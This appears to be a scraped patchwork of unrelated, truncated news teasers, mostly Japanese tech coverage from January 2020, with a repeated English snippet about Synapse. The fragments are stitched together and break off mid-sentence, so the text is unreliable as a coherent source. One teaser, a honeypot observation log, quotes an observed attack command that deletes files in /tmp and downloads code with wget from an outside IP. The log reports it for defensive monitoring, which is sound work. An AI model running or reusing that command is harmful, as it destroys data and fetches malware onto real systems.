The prospects for troubled banking-as-a-service startup Synapse have gone from bad to worse this week after a United States Trustee filed an emergency motion on Wednesday.  The trustee is asking…

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スマートフォンやPCに無線LAN環境を提供してくれるWi-Fiルーターは、インターネットを利用する上で欠かせない存在となっています。そんなWi-Fiルーターを選ぶうえで、メディアが公開しているWi-Fiのテスト結果は参考になりますが、多くのWi-Fiテストは「最も速い回線速度」を、テストした環境のパフォーマンスとしており、Wi-Fi環境の快適さを知るには不十分であると、テクノロジー系ニュースサイトのArs TechnicaのライターであるJim Salterさんが述べています。 How Ars tests Wi-Fi gear (and you can, too) | Ars Technica https://arstechnica.com/gadgets/2020/01/how-ars-tests-wi-fi-gear-and-you-can-too/ 実際にWi-Fiを使ってウェブブラ

第5世代移動通信システム(5G)は、従来の無線通信に比べて高速大容量・低遅延・多数同時接続をうたう次世代の通信規格で、日本では既に通信試験サービスが実施されており、2020年には商用サービスの提供が始まります。しかし、そんな「5G」が政治家や通信業界のロビイストによって過剰な扱いを受けていると、技術系メディアのTechdirtが批判しています。 The 'Race To 5G' Is A Giant Pile Of Lobbyist Nonsense | Techdirt https://www.techdirt.com/articles/20200116/08134343743/race-to-5g-is-giant-pile-lobbyist-nonsense.shtml スマートフォンの急速な普及とインターネット技術の進歩によって、大容量のデータを高速で通信できるシステムが求められる

by IBM Research 2020年1月、Clearview AIという新興企業による大規模な顔認証アプリが、連邦捜査局(FBI)をはじめとする多数の法執行機関によって利用されているとニューヨーク・タイムズによって報じられました。これを受けて、アメリカ政府内に設置されているプライバシー・市民的自由監視委員会(PCLOB)が、政府に対して顔認証技術の使用を禁止する圧力をかけています。 The Secretive Company That Might End Privacy as We Know It - The New York Times https://www.nytimes.com/2020/01/18/technology/clearview-privacy-facial-recognition.html Government privacy watchdog under pr

By ababaka 問題に対して適切な分析を行い、最適解を導き出す批判的思考を学校教育で行うことで、どのような効果が得られるのかを、クイーンズランド大学で批判的思考の指導を行うピーター・エラートン氏が語っています。 Thinking about thinking helps kids learn. How can we teach critical thinking? https://theconversation.com/thinking-about-thinking-helps-kids-learn-how-can-we-teach-critical-thinking-129795 アメリカで2013年に行われた調査では、雇用者の約93％が、学生を採用する基準として「専攻学科よりも、学生個人が持つ批判的思考、コミュニケーション能力、複雑な問題を解決する能力を重視すること」が明らかにな

by Tim Bennett Facebookはユーザープライバシーの保護に関する多くの批判を浴びており、ユーザーデータを保護するための対応に追われています。そんな中、Facebookのマーク・ザッカーバーグCEOが、Facebookが取り組んでいる新たなプライバシー管理機能について2020年1月28日のブログ投稿で解説しています。 Starting the Decade by Giving You More Control Over Your Privacy - About Facebook https://about.fb.com/news/2020/01/data-privacy-day-2020/ Facebook’s Clear History tool is now available to everyone - The Verge https://www.theverge.c

by Roland Tanglao Thunderbirdは、Mozilla Foundationが中心となって開発が行われるオープンソースのメーラーで、Windows版・macOS版・Linux版がリリースされています。およそ17年という歴史の中で二転三転してきたThunderbirdの開発・運営が「Mozilla Foundationの完全子会社に移行した」と公式ブログで発表されました。 Thunderbird’s New Home | The Mozilla Thunderbird Blog https://blog.thunderbird.net/2020/01/thunderbirds-new-home/ Thunderbirdの公式ブログによれば、2020年1月28日をもってThunderbirdプロジェクトはMozilla Foundationの完全子会社である「MZLA T

by Claudio Toledo Amazonといえば世界最大級のECサイトというイメージが強いですが、音声認識アシスタントのAlexaや電子書籍リーダーのKindleを開発・販売したり、クラウドコンピューティングサービスのAWSを提供したりと、さまざまなビジネスを展開しています。それでも小売り分野の売上高の約58％は、Amazonというプラットフォームを利用して第三者が商品を販売できる「Amazonマーケットプレイス」の売上が占めているのが現状。AmazonマーケットプレイスはAmazonにとって「莫大な利益を生み出す、なくてはならない存在」ですが、命の危険につながる禁止品・リコール品・偽造品の温床になっているという指摘もあり、長らく問題視されています。なぜ批判の的となりながらもAmazonは危険な商品を販売し続けることができるのかについて、海外メディアのThe Vergeがまとめてい

コンポーネント、ライブラリ製品をはじめとするソフトウェア開発ツールの提供により、国内外の開発者を支援しているグレープシティ。同社では、去る2019年12月10日、東京・秋葉原のUDXカンファレンスにおいて「GrapeCity ECHO（エコー）Tokyo 2019」を開催した。今回、イベントのテーマとして取り上げられたのは、HTML5の登場やJavaScriptの進化を背景に普及が進む「SPA（Single Page Application）」。ここでは、従来型のWebアプリケーションに比べ、さらにリッチなUIや、より高度なパフォーマンスを実現するSPAをとりまく技術の最新動向を解説した、当日のセッションの模様をレポートしたい。 SPAを支えるJavaScript開発が抱える各種課題の解消に向けて 「GrapeCity ECHO」は、2015年以来開催されているアプリケーション開発技術や同

2020年から小学校でプログラミング教育が必修化することになっているが、特定の教科書が決まっているわけでもなく、学校や自治体ごとに取り組み姿勢に温度差があるなど、足並みがそろっていないのが実情だ。プログラミング教育について教育現場で手探り状況の中、コンピュータソフトウェア協会（CSAJ）は1月27日と28日の2日間、練馬区立大泉第六小学校で小学5年生と6年生を対象にした「プログラミング出前授業」を開催した。 初めての「スクラッチ」も抵抗感なく楽しめる 「スクラッチでプログラミング体験！」と題した出前授業は、1回当たり2時限を使って2日間で6クラスに教えた。記者が取材で訪れたのは、28日の10時40分～12時15分の授業で、PCがある教室に6年生の男子11人、女子14人の合計25人の生徒が参加した。 講師役は、豆蔵ホールディングスグループであるオープンストリームの宮田友美さん。普段は、システ

ワークマンは、店舗在庫による店舗受け取り通販を開始する。新サービスに特化したサイトを3月16日にオープンし、受け取り拠点の強化のため、都心ターミナル駅周辺や空白だった宮崎県にも出店する予定だ。ネット大手に「定価」で負けないプライベートブランドPB製品ラインアップの充実を受け、ネット通販専業に勝てる体制づくりを目指す。 ワークマンが店舗受け取り通販を強化する理由は大きく分けて四つ。全リアル店舗が好調で出店条件が緩和されたことで、今後10年でさらに400店の新規出店が可能な点。現状でも、ネット通販ユーザーの67％が店舗受け取りを選択している点。宅配コストのかからないので、ネット通販専業に配送コストで負けない点。宅配コストの高騰や人手不足の解消を見込める点だ。 新たに開発するネット通販サイトの新システムのメリットは多い。ユーザー側には、店舗に在庫がある場合、最短3時間で受け取ることができる、最短

「NEDO AI＆ROBO NEXTシンポジウム〜人を見守る人工知能、人と協働するロボットの実現に向けて〜」が、2020年1月16日と17日に、新宿ルミネゼロで開催された。 初日は、オープニングの挨拶のあと、三菱ケミカルホールディングス Chief Digital Technology Scientistで日本人工知能学会会長でもある浦本直彦氏による基調講演「人工知能技術の現状と未来」で幕を開けた。 AIを使って何をするかを明確にする 浦本氏は、人工知能の技術について、「AIが何かをする」のではなく「AIを使って何かをする」のだと強調する。AIといえば、機械学習、データ分析を思い浮かべる人も多いが、イメージされるものと、現実にはギャップがあるという。目的や利用者が不明確なままデータだけ集めて分析しても、実際の業務に組み込めないものが出来上がってしまうこともある。そのようなことを少なくするた

The prospects for troubled banking-as-a-service startup Synapse have gone from bad to worse this week after a United States Trustee filed an emergency motion on Wednesday.  The trustee is asking…

ハニーポット(仮) 観測記録 2020/01/28分です。 （気付いたら、継続期間が１年を超えていました。 特徴 Location：JP PHPUnit(CVE-2017-9841)の脆弱性を狙うアクセス ThinkPHPの脆弱性を狙うアクセス クラウド環境のメタデータ情報を狙うアクセス AWS Security Scannerによるスキャン行為 zgrabによるスキャン行為 Apache Tomcat管理画面へのスキャン行為 Apache Solrへのスキャン行為 phpMyAdminへのスキャン行為 /.envへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対して、コマンド実行を狙う以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget http://111[.]43[.]223[.]133:4155

NTTグループ(NTT、NTTデータ、NTTコムウェア、NTTコミュニケーションズ、米NTT、NTT東日本)は1月29日、学校での安心・安全を提供するスマートキャンパスソリューションの開発に向けた共同検討を、2月から田園調布雙葉学園と共同で開始すると発表した。なお、共同検討ではNTTグループが米国ラスベガス市において展開中の公共安全ソリューションに用いられている技術を日本で初めて導入するという。 近年、学校施設において児童・生徒が巻き込まれる犯罪が数多く発生する中、国や自治体による防犯活動に加えて、学校に対してもより充実した安全対策の実施要望が寄せられているほか、2020年度から始まる新しい学習指導要領などにより、教職員の勤務負担も増加するため教育現場の実態に合わせた効率的かつ効果的な安全対策に対するニーズも高まっているという。 NTTグループは、こうしたニーズに応えるため米国ラスベガス市

by StoryTolley 血管の壁にコレステロールなどのプラーク(かたまり)が蓄積した結果、血管が硬くなって弾力を失い、血管が詰まってしまう動脈硬化を「薬剤をセットしたカーボンナノチューブを体内に送り込むことで、動脈内部にこびりついたプラークを除去する」という方法で治療できると、ミシガン州立大学とスタンフォード大学の研究者が発表しました。 Pro-efferocytic nanoparticles are specifically taken up by lesional macrophages and prevent atherosclerosis | Nature Nanotechnology https://www.nature.com/articles/s41565-019-0619-3 Nanoparticle chomps away plaques that cause h

アマゾンジャパンは2019年5月8日、AR（Augumented Reality、仮想現実）技術を用いて、購入する商品を置きたい場所に 3D画像を配置することで設置後イメージを確認できる「ARビュー」の提供を開始した。 家具を中心に1000アイテムが対応し、Amazonショッピングアプリから利用できる。商品詳細ページにある「部屋に表示（ARビュー）」をタップして、スマホカメラを通して設置したい場所を選択すると、3D画像が原寸大で表示される。自動的に商品の大きさが塗油制され、正しい尺度で画面に表示され、360度見回すことができる。部屋のコーディネートや家具の大きさなどを購入前に視覚的に確認できる。。 ARビューは2018年にイギリス、フランス、ドイツ、イタリア、スペインで導入されており、日本が7カ国目。 同日、米Google は AR技術を検索サービスに導入し、検索で探した情報を3D画像で確

米Google は、2019年7月1日より、すべての新しいウェブサイト（過去にクローラGooglebot が発見していない）は標準でモバイルファーストインデックス（以下、MFI）になることを公式ブログで発表した。 MFIは2016年11月に最初に発表された。モバイル検索が主流になったことを受けて、Google もモバイル版ウェブページをインデックスして、その内容を基に検索結果に表示する方針が明らかにされた。2018年3月に順次 MFI に移行することが発表され、現在は検索結果に表示するページの50%はモバイル版ページになっているという。 MFI は Google Search Console の URL 検査ツールから確認できる。従来のウェブサイトは引き続き監視し、Google が MFI 対応準備ができていると判断した時に MFI に移行するとしている。新しいウェブサイトについては MF

日本の空港における出国手続きおよび帰国手続きで、顔認証ゲートが導入されるようになってから、ずいぶんとストレスがなくなった。海外出張や海外旅行をする際、パスポートを置いて、顔認証を行い、照合すると、ゲートの扉が開いて通過できるようになる。この間、平均15秒。日本人旅行者が次々とゲートに吸い込まれるようにして、出国したり、帰国したりしている。 この顔認証ゲートを開発したのがパナソニックだ。すでに日本人の海外旅行客の8割が、パナソニックの顔認証ゲートを利用し、厳格かつ円滑な出帰国手続きを行っている。そこには、パナソニックが持つ世界最高水準の精度を持つ顔認証エンジンが活用されているのに加えて、家電事業などで培った、日本のメーカーらしい「おもてなし」の姿勢が反映され、誰もがスムーズにゲートを通過できるように工夫されている点が見逃せない。 パナソニックが開発した顔認証ゲート 顔認証ゲート導入で確実に便

2020年1月15日～17日にかけて東京ビッグサイトにて開催された「第12回 オートモーティブテクノロジー展(オートモーティブワールド2020)」において、Infineon Technologiesの日本法人であるインフィニオン・テクノロジーは、車室内モニタリングに向けたさまざまなセンサソリューションを紹介していた。 中でも注目を集めていたのは開発中という60GHz帯を用いたレーダー。最大7GHzという広帯域なレーダー技術で、3列シートのどの席にどういった人が座っているかを把握することができるほか、物体を透過できるため、イメージセンサでは見えない座席の裏の下まで見通すことができる。また、高分解能により、微細な振動を把握、人の呼吸なのか、単なるモノが走行の振動の影響を受けているのか、といったことを見分けることもできる。 これは、欧州の自動車安全テスト「Euro NCAP」が2022年に試験項

2020年1月15日～17日にかけて東京ビッグサイトにて開催された「第12回 オートモーティブテクノロジー展(オートモーティブワールド2020)」において、Analog Devices(ADI)の日本法人であるアナログ・デバイセズは、同社のアライアンス・パートナーであるサクラテックと共同で、79GHzレーダーを手軽に利用可能とするMIMOプラットフォームの展示を行っていた。 「miRadar 48e-EV」と名付けられた同プラットフォームは4GHz帯域幅が利用可能なレーダーモジュールで、従来の24GHzレーダーでは数十cmオーダーであった分解能を数cmオーダーとすることが可能となったほか、アンテナ素子も小型化できるため、送信6ch、受信8ch構成を実現。モジュールでは、このうち3chを用いて高さ方向にもレーダーを照射することを可能とした(1チップあたり送信3ch、受信4chで同プラットフォ

2020年1月15日～17日にかけて東京ビッグサイトにて開催された「第12回 オートモーティブテクノロジー展(オートモーティブワールド2020)」において、STMicroelectronicsの日本法人であるSTマイクロエレクトロニクスは、クルマで進む電子化と電動化という2つの進化の方向性に対応できるさまざまなデモを披露していた。 PowerアーキテクチャからCortex-R52へ 劇的に進む電子化/電動化(E/E)の中心となるものの1つにECUやDCU(ドメインコントロールユニット)があり、その中心にはマイコンが搭載されることとなる。同社は長くPowerアーキテクチャを採用した「SPC58x Chorusファミリ」を提供してきたが、Powerアーキテクチャは現在、新規開発は停止している。同社は車載向けに最大200MHz動作(3コア)のSPC58Hxxシリーズなどを提供してきており、まだま

月額1,000円、初期費用10,000円台でスタートできるクラウド監視カメラ「サテライトオフィス・クラウド監視カメラ for QBICクラウド」 高い・ゴついはもう古い！監視カメラはコンパクトに簡単設置できるWi-Fi対応の時代に 監視カメラというと、どのようなものを思い浮かべるだろうか。店舗や集合住宅の入り口で天井近くに設置された丈夫そうで威圧感のあるカメラや街頭監視用のカメラ、犯罪報道などで使われる不鮮明な映像を思い出す人は多いかもしれない。しかし現在は、もっと手軽な機器で鮮明な映像を撮影できる製品も登場している。 街中で見かける一般的な監視カメラ もちろん、屋外に設置して使おうと考えれば防水・防塵性能などが必要になり、耐久性の問題も出てくるため、がっしりとした見た目で高価格な製品を選択することになる。しかし屋内設置を前提とするならば、安価かつ導入も簡便なタイプの選択が可能になる。 た

NTT東日本とインフィックは1月29日、神奈川県宅地建物取引業協会協力のもと、小田原不動産が保有する物件にでIoT見守りセンサ「LASHIC(ラシク)」を用いた高齢者の新たな見守りソリューションの実証実験を開始した。 LASHICは、低廉化を実現したIoT見守りセンサーを提供しており、同社と連携し物件に安価にセンサを導入することで、高齢者の新たな見守りソリューションの実証実験を開始する。 実証実験の概要 不動産会社では、一人暮らしの高齢者が部屋で孤独死に陥ることを事前に察知することや、孤独死してしまった場合でも早期に発見することで物件価値の低下を防止することができることに加え、高齢者への賃貸契約に対する不安を払拭することで、安定的な居住環境提供をすることができ、双方にとって有益となる世界を目指すという。 実証実験では、一人暮らしの各高齢者の生活状況に応じセンサを配置し、家庭ごとに閾(しきい

茨城交通、みちのりホールディングス(みちのり HD)、日立製作所などで構成される日立市新モビリティ協議会は1月29日、2月から日立地域においてMaaS(Mobility as a Service)の実証実験をスタートすると発表した。実証は、国土交通省の「新モビリティサービス推進事業」および経済産業省の「スマートモビリティチャレンジ」の採択を受けて行う。 実証は、都市部のように交通手段が充実しておらず、自家用車への依存度が高い地方部においてMaaSの導入により公共交通の利便性を高め、地域における社会課題の解決を目指すものとなる。具体的には2月3日～28日の期間で実証運行する①通勤時、自宅近辺のバス停を指定できる「通勤型デマンドサービス」の運行、②「大沼BRT」バス停と大沼エリアの間を相乗りタクシーで送迎する「ラストワンマイル型デマンドサービス」を提供。 通勤型デマンドサービスは、日立グループ

オンライン/オフライン連携の新会社「JAMテクノロジーズ」を設立 - ヴァレンシア、ジェイアール東日本企画、SMN、ソニーペイメントサービス ヴァレンシア、ジェイアール東日本企画、SMN、ソニーペイメントサービスの4社は28日、決済代行サービスや電子チケットサービスなどで連携してきたデジタルプロモーション事業やデジタル・マーケティング事業を強化するため新会社「JAMテクノロジーズ」を設立することを発表した。 新会社の代表取締役社長には、ヴァレンシアの代表取締役 佐藤達也氏が就任する。同社は非接触ICカードやQRコード認証などの端末開発を行っており、同社公式サイトには10インチから42インチまで豊富な端末ラインナップを掲載している。新会社の社名は、"混ぜ合わせる"意味のJAMから採られており、"様々な考えや価値観を混ぜ合わせ、化学反応的にさらに新しい価値を生み出し続けるテクノロジー集団になる

Q-Successは1月28日(米国時間)、「Amazon is the most popular DNS server provider among the top 1000 sites.」において、トップ1000サイトにおけるDNSサーバプロバイダーとして、Amazonが最も大きなシェアを持っていると伝えた。トップ1000サイトにおけるAmazonのシェアは22.4%となっている。 DNSサーバプロバイダー ランク別シェアグラフ - 2020年1月29日 - 資料: Q-Success インターネット全体では、GoDaddy Groupのシェアが11.9%で最も高い。インターネット全体でのAmazonのシェアは5.0%とされており、GoDaddy GroupやCloudflareよりも低い値にとどまっている。しかし、アクセストラフィックの多いサイトほどAmazonのDNSを使用している

EMCジャパンRSA事業本部は1月28日、デジタルトランスフォーメーションによって生じるリスクに関する記者説明会を開催した。説明会では、同社が実施した調査を基に、デジタルリスクの課題を明らかにするとともに、その対策を紹介した。 EMCジャパン RSA事業本部 ゼネラルマネージャーの貴島直也氏は、「企業がデジタルトランスフォーメーションを進めることで直面するリスク(デジタルリスク)が増大する」と指摘した。 同社は、北米企業のIT、セキュリティ、リスク、コンプライアンス、業務、財務を担当する600人を対象に実施した調査レポート「RSAデジタルリスクレポート　2019年9月版」を公開している。 同レポートで、デジタルリスクを管理するための手順について聞いたところ、「考えられるリスクについて社内の認識を高めている」(60%)、「リスクを評価または分析している」(57%)、「リスクを検出または特定し

United States Computer Emergency Readiness Team (US-CERT)は1月28日(米国時間)、「Apple Releases Multiple Security Updates ｜CISA」において、Appleの複数のプロダクトに脆弱性が存在すると伝えた。これらセキュリティ脆弱性を悪用されると、影響を受けたシステムの制御権が乗っ取られる危険性がある。 脆弱性に関する情報は次のページにまとまっている。 About the security content of tvOS 13.3.1 - Apple Support About the security content of Safari 13.0.5 - Apple Support About the security content of iOS 13.3.1 and iPadOS 13.3.

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 情報処理推進機構（IPA）は1月29日、個人と組織における「情報セキュリティ10大脅威 2020」を発表した。個人では「スマホ決済の不正利用」が初登場でトップになった。 情報セキュリティ10大脅威は、前年に発生した社会的な影響が大きいと考えられる情報セキュリティにまつわる出来事からIPAが候補を出し、研究者や企業の実務担当者など約140人のメンバーで構成される選考会が審議と投票を踏まえて決定している。2020年版における個人、組織のトップ10は下表の通り。 初登場1位の「スマホ決済の不正利用」は、2019年に多くの企業がスマホ決済サービスへ新規参入し、キャッシュレス人気と相まって急速に普及したものの、一部の企業では決済方法の不備が原因と

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 情報通信研究機構（NICT）は1月29日、SAPと企業の業務効率化ソフトウェア専用のAI（人工知能）翻訳システムの開発に向けて提携したことを発表した。 NICTによれば、経済のグローバル化やテクノロジーの革新によって、ビジネス向けソフトウェアにまつわる多言語化ニーズが急増している。ソフトウェアの開発や利用において高精度の機械翻訳を活用することに、最新情報を正確かつ効率的に入手することが、これまで以上に求められているという。 これまでNICTは、観光や生活向けの音声翻訳、特許や製薬向けのテキスト翻訳でAI翻訳を実現し、翻訳の高精度化に向けて対訳データを集める「翻訳バンク」も運用している。SAPも約80言語を対象にした高精度で高速な翻訳サー

あなたのサイトにアクセスしている利用者は、本当に正しい利用者ですか？電話番号の価値を変えるオスティアリーズの「着信認証」 社会のデジタル化が進み、これまでオフラインのみで展開されていたサービスも、徐々にオンラインへとシフトしてきている。一方で、多くのWebサイトから個人情報が流出し、それを悪用したなりすましやハッキングによる不正アクセス事件も多発している。もはや、従来のようなIDとパスワードによる個人認証が安全とはいえないのは、読者の皆さんもご存知だろう。 その対抗策として、多くのインターネットサービスではセキュリティ強化を目的とした多要素認証の導入が進んでいる。その中の1つとして注目されているのが、誰もが所有する電話（番号）を利用して本人認証を実現する「着信認証」。サービス事業者が表示する特定の電話番号に発信するだけで本人確認が完了する技術だ。 最近では国際的スポーツイベントのチケット予

1. 概況 JPCERT/CCでは、インターネット上に複数の観測用センサーを分散配置し、不特定多数に向けて発信されるパケットを継続的に収集し、宛先ポート番号や送信元地域ごとに分類して、これを脆弱性情報、マルウエアや攻撃ツールの情報などと対比して分析することで、攻撃活動や準備活動の捕捉に努めています。また、こうした観測では、複数の視点による多元的な見方も重要であるため、主に海外のNational CSIRTと連携してそれぞれの組織にセンサーを設置し観測網に参加してもらう活動を行っています。各地のセンサーから収集したデータを分析し、問題が見つかれば、適切な地域のNational CSIRT等に情報を提供し、状況の改善を依頼しています。また、日本国内固有の問題については、JPCERT/CCの日々の活動の中で対処しています。 本レポートでは、国内に設置されたセンサーで本四半期に観測されたパケットを

PayPayカードのメリット・デメリット|怖いと言われる理由と評判レビュー。ゴールドと一般どっちがおすすめ?

オプテージは、携帯電話サービス「mineo（マイネオ）」において、通信業界で初めて、ユーザーが自発的に特定時間帯の通信を控える（＝通信帯域を「ゆずる」）ことで特典を得られ、通信回線全体の混雑緩和も実現できる新サービス「ゆずるね。」を、2020年3月23日より提供開始することを発表した。 ゆずるね。は、1日の中で最も通信帯域が混み合う12時～13時の時間帯に、ユーザーが自発的に通信を控える（＝ゆずる）ことで、混雑時でも通信を必要としているユーザーが快適に通信をできる環境を目指すサービス。 ゆずったユーザーはゆずった回数に応じて下図の特典を獲得できる。 前日の13時から当日11時30分までに、mineoアプリ内のゆずるね。ボタンにて意思表示を行い、当日昼（12時～13時）の間の利用量が数MB以下の場合達成となり、達成回数に応じて特典が付与される。 なお「ゆずるね。」の意思表示をした場合でも通信

近畿日本鉄道、三菱総合研究所、オムロンソーシアルソリューションズ、chaintopeおよび近鉄グループホールディングスは、ブロックチェーン技術とQRコードを活用したデジタル乗車券をスマートフォンのアプリ上で発行し、自動改札機で利用する実証実験を実施する。 同実証実験は、近鉄難波線「近鉄日本橋」駅と近鉄大阪線「近鉄八尾」駅において、50名程度の参画各社の関係者を対象に行うという。 今回の実験では、ブロックチェーン技術がもつデータの信頼性や耐改ざん性といった特徴を活かし、セキュリティ面の強化のほか、ユーザーの利便性向上や駅業務の効率化など、同技術の新たな利用可能性を検証するとしている。 実施内容としては実験実施駅において、スマートフォンアプリに搭載したQRコード乗車券を実験用の自動改札機にかざし、入出場日時の記録、入出場の可否判断などを行う。 実証実験の実施期間は、2020年2月17日から20

NECは、三井不動産と三井不動産ホテルマネジメントが新たに展開するホテルブランド「sequence」に顔認証技術を活用したスマートホスピタリティサービスを提供することを発表した。 同サービスでは、「sequence」の宿泊客は、事前に登録した顔情報と予約情報等を紐づけておくことで、タブレット端末による顔認証により、スムーズにチェックインを完了することができる。 また、ホテル各部屋への入室の際は鍵やカードといったルームキーを使わず、各部屋に紐づいた宿泊客の顔認証だけでドアの解錠を行うことが可能だ。 今後、NECのスマートホスピタリティサービスは、宿泊客が空港等の手荷物配送カウンターに設けた専用タブレットで、顔認証によりホテルの予約確認を行い、宿泊先ホテルに手荷物を配送できるようにするとしている。

CAMPFIREは、同社が運営するアプリサービス「polca（ポルカ）」の提供を2020年10月1日で終了することを発表した。 polcaは従来のクラウドファンディングサービスよりも気軽に資金集めができる機能提供を目指し、2017年8月に開始されたサービス。 しかし、昨今のクラウドファンディング利用者の急増等に伴い、他サービスとの差別化をはじめ役割の再検討や、今後の収益性などさまざまな観点から検討した結果、今回の決断に至ったとしている。 今後はアプリサービスの運営で培ったノウハウをもとに「CAMPFIRE」をはじめとした主力のクラウドファンディングサービスのさらなる品質向上を目指していく方針を示している。 今後、2020年3月2日にpolcaにおける企画作成機能・応援機能を停止し、同年4月1日に企画に対する支援受付の停止・新規会員登録の停止する。 全ての機能停止は、10月1日が予定されてい

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 2020年に入り、いろいろなメディアが未来予想を立てているが、“2020”という一つの節目でもあり、次の10年間、2030年までのコンピューターの変化を複数回にわたって予想してきた。今回は、コンピューターを取り巻くネットワーク通信の展望を占う。 5Gネットワーク 2019年は、世界的には「5G元年」と言われ、2020年は東京五輪に合わせて5G（第5世代移動体通信）が本格的に立ち上がる。日本では2020年が5G元年になるだろう。5Gの特徴は、10Gbpsを超えるスピード、低遅延、多接続などといわれている。 2020年の5Gは、現状のLTEを少し高速化したぐらいのパフォーマンスになりそうだ。個人ユーザーには、当面の間あまりメリットはないだろ

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます ガートナー ジャパンは、今後3年間で企業のカスタマーエクスペリエンス（CX：Customer eXperience）プロジェクトに大きな影響をもたらす先進テクノロジーのトレンドのトップ5を発表した。 1.AI（人工知能） ガートナーはAIのテクノロジーを大きく3タイプに分けている。1つは人間のようなエンゲージメントをもたらすシステムであり、コンピュータービジョン、チャットボット／エージェント、自然言語ベースのユーザーインターフェースを挙げている。2つ目は自動化と最適化のためのテクノロジーであり、自己最適化スマートマシン、自律走行車、リアルタイム脅威検知システムなどが挙げられる。3つ目は、データ、画像、音声に基づく隠れたシグナルや予測から

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます コニカミノルタとコニカミノルタジャパンは1月28日、都内で事業戦略説明会を開催し、デジタルトランスフォーメーション（DX）に関するビジネスの国内展開を本格化させると表明した。複合機（MFP）やITサービスを組み合わせたプラットフォーム「Workplace Hub」を通じて提供するサービスなどを拡充する。 コニカミノルタは、2017年にWorkplace HubによるDX事業を欧州で立ち上げ、国内では2019年4月にWorkplace Hubと連携するMFPを投入するなど、事業展開を進めてきた。 コニカミノルタ 常務執行役 デジタルワークスペース事業 DXブランド推進 IT担当の仲川幾夫氏は、これまでグローバル市場向けにWorkplace

働き方の変化や脅威の高度化に対応できていない 企業などの組織における情報セキュリティは、これまで組織ネットワークを外部の脅威から守ることに主眼を置いた、いわゆる「境界型セキュリティ」が主流だった。しかし近年、そのあり方が課題となりつつある。 その要因の一つは、人々の働き方が変わりつつあること。最近ではリモートワークなどで組織ネットワークの外、すなわち境界型セキュリティに保護されていない環境で仕事をするユーザーが増えている。 また、ビジネスを加速させるためコア事業以外の業務を社外リソースに依存するアウトソーシングも広まっており、結果として以前なら社員のみが利用していたシステムを外部ユーザーが利用する場面も増えてきた。こういった環境では境界型セキュリティの範囲外にある端末が多く、脅威にさらされる場面も必然的に増える。 さらに、組織ネットワークの内外を行き来する端末を介して、正当なユーザーの手に

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 三井不動産と三井不動産ホテルマネジメントは、新たに展開するホテルブランド「sequence」に顔認証技術を活用したサービスを提供する。 顔認証技術はNECの顔認証AIエンジン「NeoFace」を利用する。顔認証を活用したセルフチェックインとキーレスでの入室を可能にする。チェックイン／アウトの時間を短縮し、カードキーも不要になる。 事前に登録した宿泊客の顔情報と予約情報などをひも付けておく。タブレット端末で宿泊客の顔を認証し、必要な情報を表示・確認するだけでチェックインを完了できる。カードキーやルームキーを使わずに顔認証で客室のドアを解錠できるため、鍵の紛失防止になるとともに、手ぶらでの外出が可能になる。 NECでは、宿泊客が空港などの手

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 日立製作所（日立）と羽後交通は1月24日～3月31日まで、路線バス運賃におけるキャッシュレス決済の実証実験を実施している。秋田県の路線バス事業者としては、初めての試みだという。 実証では、スマートフォン向けウェブアプリとQRコードを用いた路線バス運賃のキャッシュレス決済システムを活用する。羽後交通の「イオン・イーストモール線」「横手・大曲線」を運行するバスの車内にQRコードを設置し、乗客はスマートフォンでアプリを起動する。QRコードを読み取ることで乗車中に運賃の決済準備をしたり、複数人の運賃を一括で支払ったりできる。 決済時、運転手は乗客のスマートフォン画面に表示された運賃額を確認するだけで、乗客自身がアプリ上で支払い操作を行う。これに

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 山梨県小菅村、北都留森林組合、boonboon、さとゆめ、NTT東日本は、小菅村山間部にIoTを実装し、林業に関する課題解決やSmart Villageの実現に向けた実証実験を行う。実施期間は、2月～9月。 なお同実証では、林業の共通課題である「林業従事者の労働災害抑止」「シカ等の獣害対策」に対し、山間部を効率的にカバーする高出力の独自LPWA（Low Power、Wide Area）を用いて、従事者が緊急時の救助要請をできるようにする仕組みや害獣捕獲時の通知機能を提供し、効果を検証していく。 林業従事者数は30年間で約3分の1に減少し、2015年時点で4万5000人とされているが、伐木作業中の倒木事故など林業従事者の労働災害も多く、死

Googleは米国時間1月28日、ユーザーがスマートフォンを使用して、会話をリアルタイムで異なる言語にテキスト変換および翻訳できる機能を発表した。Translateチーム所属のエンジニアであるBryan Lin氏によると、この機能は数カ月のうちに「Google Translate」アプリで利用できるようになるという。 この機能は現時点で、スペイン語、ドイツ語、フランス語を含む複数の言語でテストされている。Lin氏によると、処理はユーザーの端末ではなく、Googleのサーバーで実行されるという。 Googleは同日サンフランシスコで開いた報道陣向けイベントで、この機能を発表。同イベントでは、ヘルス技術やタッチ制御可能な布のイニシアチブなど、その他の人工知能（AI）プロジェクトも披露された。 Googleは自然言語技術の開発に力を入れてきており、たとえば2019年には2つの異なる言語での会話を

General Motors（GM）傘下で自動運転車を手がけるCruiseは、ライドシェアサービス用として、自動運転対応の電気自動車（EV）「Cruise Origin」を発表した。コンセプトカーではなく、量産モデルだという。

